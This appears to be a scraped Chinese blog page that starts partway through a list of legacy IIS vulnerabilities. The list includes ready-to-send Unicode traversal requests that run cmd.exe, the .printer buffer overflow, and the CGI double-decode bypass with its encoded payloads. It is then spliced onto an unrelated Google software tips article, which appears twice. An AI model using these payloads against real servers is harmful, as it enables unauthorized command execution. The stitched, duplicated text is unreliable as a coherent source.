/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
eeye开发了工具包iishack1.5针对这一漏洞进行测试
16. iis5.0 缓冲溢出
微软Win 2K IIS
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip
17. IIS CGI文件名二次解码漏洞
IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。
例如，对于’’这个字符，正常编码后是%5c。这三个字符对应的编码为：
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...
因此，".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成".."。因此攻击者就可以使用".."来进行目录遍历，执行web目录之外的任意程序。
Google秘笈酷招
Google自从出现的那一天起，就一直为大家带来惊喜。各种新奇独特的Google软件层出不穷，如Google桌面、Google Toolbar、Blogger for Word、Google Talk、Google Earth等都各具特色，均有神奇妙用，让大家大呼过瘾。如果你还不了解Google的软件世界，那么以下笔者所介绍的内容，相信一定会让你惊喜不已。
1. 用Google桌面阅读RSS
很多朋友选择下载安装RSS阅读器来阅读来自RSS网站中的资料，其实这样操作稍显复杂，另外RSS阅读器的使用也不是很方便。如果你想寻找一种更加简便的方法，不妨试试Google桌面。大家都知道Google桌面工具栏十分精美，但你是否知道它还具有比普通的RSS阅读器更加方便的RSS阅读功能呢？
软件小档案
软件名称：Google桌面
软件大小：1.62MB
下载地址：http://desktop.google.com
将软件下载并安装，然后从程序组中运行Google桌面程序，在系统托盘区会新增加一个Google桌面图标，用鼠标右击它，并在弹出的快捷菜单中选择“辅助工具”项，这样你在桌面上就会拥有一个个性十足的Google桌面工具栏了。
点击工具栏顶端的下拉菜单按钮并选择“添加／删除板块”项，在弹出的窗口中将“Ｗeb剪辑”项勾选，单击“确定”按钮。这样在Google桌面工具栏中就会新增加一个“Ｗeb剪辑”小窗口，用鼠标点击该小窗口顶端的下拉菜单按钮并选择“选项”，在弹出窗口中的网络剪辑列表中添加你要查看的RSS网站的网址，或者通过点击“添加最近的剪辑”按钮来添加你最近所浏览的RSS网站的网址（如图所示）。
这样当该RSS网站的资料有更新时，它就会及时在“Ｗeb剪辑”窗口中通知你，如果要查看更新的详细内容，只须点击相应的标题链接即可。使用起来十分方便。
小提示：Google桌面的功能十分强大，它不但提供有新闻、电子邮件、Web剪辑、照片等数十种不同功能的工具面板。而且你还可以根据你个人的需要，随意添加或删除第三方面板，创造属于你个人的面板。
2. Google Toolbar
让人英文写作无忧
如果你对自己的英文没有信心，每次写信时你可能就会先在Word中编写，并利用它的拼写检查功能来修正英文文章或语句中的拼写错误，然后再拷贝到电子邮件中，这样虽然能避免出错，但操作过程十分麻烦。为何不用Google Toolbar来帮助你进行英文写作呢？只要利用它的英文纠错功能，就可以直接在IE浏览器中编写邮件，而不用担心会有英文拼写错误了。
软件小档案
软件名称：Google Toolbar
软件大小：550KB
下载地址：http://www.google.com/downloads
将软件下载，安装运行后，在IE浏览器中会自动出现一个Google工具栏。然后打开电子邮件编写页面并编写好信件的内容，点击Google工具栏中的“Check”按钮（如图所示），系统就会自动检测信件内容是否有拼写错误，并将拼写错误的单词用红色字体标注出来。如果要修正错误的单词，只须在错误的单词上点击鼠标，在弹出的快捷菜单中提供了备选单词，选择拼写正确的单词，就能完成单词拼写错误的修正操作，且修正后的单词字体将以绿色显示。
小提示：Google Toolbar可以自动检测并修正包括英语、德语、法语、西班牙语、意大利语等10种语言单词的拼写错误，能极大地满足不同用户的需求。
3. 让Word也“博客”
“博客”们如果不用打开浏览器，能在Word中直接撰写、编辑及发布Blog，那该是一件多么令人兴奋的事情啊！其实要实现这一愿望也很容易，只要使用软件Blogger for Word即可。它可以让你在Word中轻松做博客（注：本工具目前仅支持www.blogger.com）。
软件小档案
软件名称：Blogger for Word
软件大小：1.95MB
下载地址：http://desktop.google.com/download/blogger/BloggerForWordSetup.exe
将软件下载，注意安装时要先将Word程序关闭，待安装完成后，重新打开Word窗口时你会发现多出了一个Blogger工具条。
点击“Blogger Setting”按钮，在弹出的窗口中输入你的Blogger用户名和账号，点击“OK”按钮（如图所示）。这样就让Word与你的博客联结起来了。
然后你就可以在Word中像编辑普通文本那样新建、撰写、修改你的Blog了。当你要发布Blog时，只需点击“Publish”按钮即可。而对于还没有完全写好的文章，可以通过点击“Save Draft”按钮来将它暂时保存，留待以后继续完善。
目前，Blogger for Word可以打开和编辑最新发布的15篇文章，能帮助用户检查是否存在错误的拼写和用词。它对中文字符具有非常好的支持，不管是标题还是正文中的中文都可以正常显示，且Blog的发布速度极快。遗憾的是目前它还不支持文章中图片的发布。
小提示：该软件只能在Windows 2000及以上版本的系统中运行。
4. Gmail来信早知道
相信很多人都是Gmail邮箱的忠实用户，由于通过Web进入邮箱页面来查看是否有新邮件到达的操作十分麻烦，导致经常会有一些重要的邮件不能及时被发现并查看，最终可能会给用户造成一定的损失。如果你不想品尝因以上错误留下的苦果，想在第一时间查看新到达的邮件，使用软件Gmail Notifier就是一个不错的解决方案。
软件小档案
软件名称：Gmail Notifier
软件大小：292KB
下载地址：http://www.onlinedown.net/soft/34082.htm
将软件下载并安装后，就会在系统托盘区出现一个信封图标（如图所示）。
用鼠标右击该图标，并在弹出的快捷菜单中选择“Check Mail Now”项，在弹出的用户登录窗口中输入你的Gmail邮箱账号和密码，点击“确定”按钮后，系统就会自动检测并实时监控该Gmail信箱的邮件内容。如果发现有新邮件到达，就会立即在系统托盘区浮出一个提示小窗口，显示邮件标题和邮件内容摘要等信息。点击相应的邮件信息链接，就可以直接打开Web页面来查看邮件的内容。这样你就再也不用担心会有新邮件到达而你却不知道的情况发生了。另外如果双击右下角的信封图标，还可以打开Gmail的Web页面。为你的工作和生活带来极大的方便。
5. 足不出户，用Google Earth逛世界
如果你像我一样，虽然喜欢旅游，但却没有足够的经济实力，怎么办呢？那就先用Google Earth来开开眼界吧！相信它一定会带给你一种全新的体验。用它来把地球放到电脑桌面上，坐在电脑前来翱翔世界各地的感觉一定会让你兴奋不已。
软件小档案
软件名称：Google Earth
软件大小：11635KB
下载地址：http://dl.pconline.com.cn/html/1/5/dlid=13885&dltypeid=1&amp;pn=0&.html
将软件下载。安装运行后，程序就会自动与网络进行连接，若连接成功，最终就会出现一个三维地球图形。此时如果你想去北京逛逛，只需在搜索关键字输入框中输入英文“Beijing”，点击“Search”按钮，屏幕就会以鸟瞰的浏览方式自动飞向北京市区，然后你可以通过地图下面的控制面板来放大、缩小和移动画面图像（如图所示）。
由于Google Earth目前只支持中国较大城市的直接查找，如：北京、上海、西安等。对于不能直接查找的地区，你可以通过手动放大和移动地球来进行查找，也很方便。只要你有足够的耐心，Google Earth就可以帮助逛遍地球的任何地方。而它比普通的平面地图更具真实性，能让你感受到前所未有的视觉冲击。
1. 用Google桌面阅读RSS
很多朋友选择下载安装RSS阅读器来阅读来自RSS网站中的资料，其实这样操作稍显复杂，另外RSS阅读器的使用也不是很方便。如果你想寻找一种更加简便的方法，不妨试试Google桌面。大家都知道Google桌面工具栏十分精美，但你是否知道它还具有比普通的RSS阅读器更加方便的RSS阅读功能呢？
软件小档案
软件名称：Google桌面
软件大小：1.62MB
下载地址：http://desktop.google.com
将软件下载并安装，然后从程序组中运行Google桌面程序，在系统托盘区会新增加一个Google桌面图标，用鼠标右击它，并在弹出的快捷菜单中选择“辅助工具”项，这样你在桌面上就会拥有一个个性十足的Google桌面工具栏了。
点击工具栏顶端的下拉菜单按钮并选择“添加／删除板块”项，在弹出的窗口中将“Ｗeb剪辑”项勾选，单击“确定”按钮。这样在Google桌面工具栏中就会新增加一个“Ｗeb剪辑”小窗口，用鼠标点击该小窗口顶端的下拉菜单按钮并选择“选项”，在弹出窗口中的网络剪辑列表中添加你要查看的RSS网站的网址，或者通过点击“添加最近的剪辑”按钮来添加你最近所浏览的RSS网站的网址（如图所示）。
这样当该RSS网站的资料有更新时，它就会及时在“Ｗeb剪辑”窗口中通知你，如果要查看更新的详细内容，只须点击相应的标题链接即可。使用起来十分方便。
小提示：Google桌面的功能十分强大，它不但提供有新闻、电子邮件、Web剪辑、照片等数十种不同功能的工具面板。而且你还可以根据你个人的需要，随意添加或删除第三方面板，创造属于你个人的面板。
2. Google Toolbar
让人英文写作无忧
如果你对自己的英文没有信心，每次写信时你可能就会先在Word中编写，并利用它的拼写检查功能来修正英文文章或语句中的拼写错误，然后再拷贝到电子邮件中，这样虽然能避免出错，但操作过程十分麻烦。为何不用Google Toolbar来帮助你进行英文写作呢？只要利用它的英文纠错功能，就可以直接在IE浏览器中编写邮件，而不用担心会有英文拼写错误了。
软件小档案
软件名称：Google Toolbar
软件大小：550KB
下载地址：http://www.google.com/downloads
将软件下载，安装运行后，在IE浏览器中会自动出现一个Google工具栏。然后打开电子邮件编写页面并编写好信件的内容，点击Google工具栏中的“Check”按钮（如图所示），系统就会自动检测信件内容是否有拼写错误，并将拼写错误的单词用红色字体标注出来。如果要修正错误的单词，只须在错误的单词上点击鼠标，在弹出的快捷菜单中提供了备选单词，选择拼写正确的单词，就能完成单词拼写错误的修正操作，且修正后的单词字体将以绿色显示。
小提示：Google Toolbar可以自动检测并修正包括英语、德语、法语、西班牙语、意大利语等10种语言单词的拼写错误，能极大地满足不同用户的需求。
3. 让Word也“博客”
“博客”们如果不用打开浏览器，能在Word中直接撰写、编辑及发布Blog，那该是一件多么令人兴奋的事情啊！其实要实现这一愿望也很容易，只要使用软件Blogger for Word即可。它可以让你在Word中轻松做博客（注：本工具目前仅支持www.blogger.com）。
软件小档案
软件名称：Blogger for Word
软件大小：1.95MB
下载地址：http://desktop.google.com/download/blogger/BloggerForWordSetup.exe
将软件下载，注意安装时要先将Word程序关闭，待安装完成后，重新打开Word窗口时你会发现多出了一个Blogger工具条。
点击“Blogger Setting”按钮，在弹出的窗口中输入你的Blogger用户名和账号，点击“OK”按钮（如图所示）。这样就让Word与你的博客联结起来了。
然后你就可以在Word中像编辑普通文本那样新建、撰写、修改你的Blog了。当你要发布Blog时，只需点击“Publish”按钮即可。而对于还没有完全写好的文章，可以通过点击“Save Draft”按钮来将它暂时保存，留待以后继续完善。
目前，Blogger for Word可以打开和编辑最新发布的15篇文章，能帮助用户检查是否存在错误的拼写和用词。它对中文字符具有非常好的支持，不管是标题还是正文中的中文都可以正常显示，且Blog的发布速度极快。遗憾的是目前它还不支持文章中图片的发布。
小提示：该软件只能在Windows 2000及以上版本的系统中运行。
4. Gmail来信早知道
相信很多人都是Gmail邮箱的忠实用户，由于通过Web进入邮箱页面来查看是否有新邮件到达的操作十分麻烦，导致经常会有一些重要的邮件不能及时被发现并查看，最终可能会给用户造成一定的损失。如果你不想品尝因以上错误留下的苦果，想在第一时间查看新到达的邮件，使用软件Gmail Notifier就是一个不错的解决方案。
软件小档案
软件名称：Gmail Notifier
软件大小：292KB
下载地址：http://www.onlinedown.net/soft/34082.htm
将软件下载并安装后，就会在系统托盘区出现一个信封图标（如图所示）。
用鼠标右击该图标，并在弹出的快捷菜单中选择“Check Mail Now”项，在弹出的用户登录窗口中输入你的Gmail邮箱账号和密码，点击“确定”按钮后，系统就会自动检测并实时监控该Gmail信箱的邮件内容。如果发现有新邮件到达，就会立即在系统托盘区浮出一个提示小窗口，显示邮件标题和邮件内容摘要等信息。点击相应的邮件信息链接，就可以直接打开Web页面来查看邮件的内容。这样你就再也不用担心会有新邮件到达而你却不知道的情况发生了。另外如果双击右下角的信封图标，还可以打开Gmail的Web页面。为你的工作和生活带来极大的方便。
5. 足不出户，用Google Earth逛世界
如果你像我一样，虽然喜欢旅游，但却没有足够的经济实力，怎么办呢？那就先用Google Earth来开开眼界吧！相信它一定会带给你一种全新的体验。用它来把地球放到电脑桌面上，坐在电脑前来翱翔世界各地的感觉一定会让你兴奋不已。
软件小档案
软件名称：Google Earth
软件大小：11635KB
下载地址：http://dl.pconline.com.cn/html/1/5/dlid=13885&dltypeid=1&amp;pn=0&.html
将软件下载。安装运行后，程序就会自动与网络进行连接，若连接成功，最终就会出现一个三维地球图形。此时如果你想去北京逛逛，只需在搜索关键字输入框中输入英文“Beijing”，点击“Search”按钮，屏幕就会以鸟瞰的浏览方式自动飞向北京市区，然后你可以通过地图下面的控制面板来放大、缩小和移动画面图像（如图所示）。
由于Google Earth目前只支持中国较大城市的直接查找，如：北京、上海、西安等。对于不能直接查找的地区，你可以通过手动放大和移动地球来进行查找，也很方便。只要你有足够的耐心，Google Earth就可以帮助逛遍地球的任何地方。而它比普通的平面地图更具真实性，能让你感受到前所未有的视觉冲击。
订阅：
博文 (Atom)
